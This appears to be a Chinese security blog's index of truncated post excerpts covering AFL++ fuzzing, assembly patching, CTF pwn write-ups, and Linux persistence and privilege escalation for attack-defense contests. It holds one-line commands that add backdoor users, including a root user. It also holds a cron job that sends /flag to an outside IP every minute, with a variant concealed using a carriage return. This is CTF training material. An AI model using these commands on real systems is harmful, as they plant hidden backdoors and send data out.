AFL++fuzz测试
AFL++fuzz测试概述AFL++是AFL的社区维护版本。它拥有更快的fuzzing速度,更好的变异策略、插桩性能和功能,以及支持各类自定义的模块。
AFL简介AFL(American Fuzzy Lop)是由安全研究员Micha? Zalewski(@lcamtuf)开发的一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过记录输入样本的代码覆盖率,从而调整输入样本以提高覆盖率,增加发现漏洞的概率。
①从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage);②选择一些输入文件,作为初始测试集加入输入队列(queue);③将队列中的文件按一定的策略进行“突变”;④如果经过变异文件更新了覆盖范围,则将其保留添加到队列中;⑤上述过程会一直循环进行,期间触发了crash的文件会被记录下来。
选择和评估测试的目标开始Fuzzing前,首先要选择一个目标。 AFL的目标通常是接受外部输入的程序或库,输入一般来自文件(后面的文章也会介绍如何Fuzzing一个网络程序)。
1. 用什么语言编写AFL主要用于C/C++程序的测试,所以这是我们寻找软件的 ...
8080汇编手册数据传输指令
8080汇编手册数据传输指令一,机械码,又称机器码.ultraedit打开,编辑exe文件时你会看到许许多多的由0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F组成的数码,这些数码就是机器码.修改程序时必须通过修改机器码来修改exe文件.
二,需要熟练掌握的全部汇编知识(只有这么多)不大容易理解,可先强行背住,混个脸儿熟,以后慢慢的就理解了cmp a,b 比较a与bmov a,b 把b的值送给aret 返回主程序nop 无作用,英文“no operation”的简写,意思是“do nothing”(机器码90)***机器码的含义参看上面(解释:ultraedit打开编辑exe文件时你看到90,等同于汇编语句nop)call 调用子程序je 或jz 若相等则跳(机器码74 或0F84)jne或jnz 若不相等则跳(机器码75或0F85)jmp 无条件跳(机器码EB)jb 若小于则跳ja 若大于则跳jg 若大于则跳jge 若大于等于则跳jl 若小于则跳jle 若小于等于则跳pop 出栈push 压栈
三,常见修改(机器码)74=>75 74=> ...
4. Linux权限维持_后门篇
Linux权限维持–后门篇本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。
1、一句话添加用户和密码
添加普通用户:
1234567891011# 创建一个用户名guest,密码123456的普通用户useradd -p `openssl passwd -1 -salt 'salt' 123456` guest# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句useradd -p "$(openssl passwd -1 123456)" guest # chpasswd方法useradd guest;echo 'guest:123456'|chpasswd # echo -e方法useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
12# 创建一个用户名guest,密码123456的root用户useradd -p `openssl passw ...
2024-mapna ctf -protector
2024-mapna ctf -protector前言小组任务,复现了国际赛mapna CTF的protector,一个有点难度的栈溢出ORW
分析保护分析123456[*] '/home/coke/桌面/CTFrecurrent/protector/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
只开启了堆栈不可执行
代码分析main函数如下
12345678910int __cdecl main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF disable_io_buffering(); printf("Input: "); init_sandbo ...
2023-HWS-pwn复现
2023-HWS-pwn复现fmt前言这个题比较简单,但是如果不是自己去构造字符串用pwntools去构造的payload的链就会出现字节长度太长的可能性,于是我们可以修改一下脚本去达到利用。
这是格式化payload构造函数的参数解析,我们修改最后的write_size即可,有时候byte构造出来的不一定是最小的,可以使用不同的来试试
123456# 总共四个参数:# offset --> 偏移量# writes --> {被覆盖的地址:要写入的地址}# numbwritten --> 已经由printf函数写入的字节数,默认为0# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少pad = fmtstr_payload(offset, {stack_ret:onegadget},write_size="short")
题解分析文件,可以发现存在格式化字符串漏洞,但是保护全开,就不能改got表,于是我们去修改返回地址即可。
1234567891011 ...
2022春秋杯冬季赛pwn-workpwn——WP
2022春秋杯冬季赛pwn-workpwn——WP前言一开始完全没得思路,还以为其中几个不能溢出到返回地址的溢出是漏洞点,后来看完赛后大佬们的WP才知道是条件竞争,虽然这次没打出什么名次,但是确实涨了不少姿势。继续努力。
条件竞争下面是一个很好的例子,能够很好的解释条件竞争。
1.0 银行提现当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。
题解分析代码,发现是一个写入,读出,删除的数据的程序。然后再往更深处分析,发现写入的时候可以指定文件,也就是改变bss段的一个数据,后面就是打开这个文件并写入,但是在我们读取的时候发现最后还是会将那些文件的名字改为原来的那个,由于存在多线程执行过程,并且新创建的函数会暂停1s,这是出题故意留下的,否则这个函数一会就执行完了,我们来不及进行条件竞争的改写,现实环境一般是通过dos来降低受害机的执行速度,或者多次尝试,碰运气。
下面给出exp
1234567 ...
2.AWD-提权
AWD-提权查看版本号查看Linux内核版本命令cat /proc/version
uname -a
查看Linux系统版本的命令lsb_release -a
cat /etc/issue
1.AWD权限维持
AWD权限维持进程端口查看ps -aux 进程netstat -tuln #查看所有开放端口lsof -i :端口号 #查看指定端口开放情况
计划任务crontab -l #列出计划任务crontab -e #写计划任务crontab -r #删除计划任内务
定时发送flag1*/1 * * * * curl 116.63.162.119:7777/?flag=`cat /flag` #每分钟向模板发送flag
1(crontab -l;printf "*/1 * * * * curl 116.63.162.119:7777/?flag=\`cat /flag\`;\rno crontab for `whoami`%100c\n")|crontab -
下面是可以直接用在exp中的写入定时任务的模版
1234567def set_crontab(): My_ip = "127.0.0.1" port = "8080" flag_path = "/flag" crontab_p ...



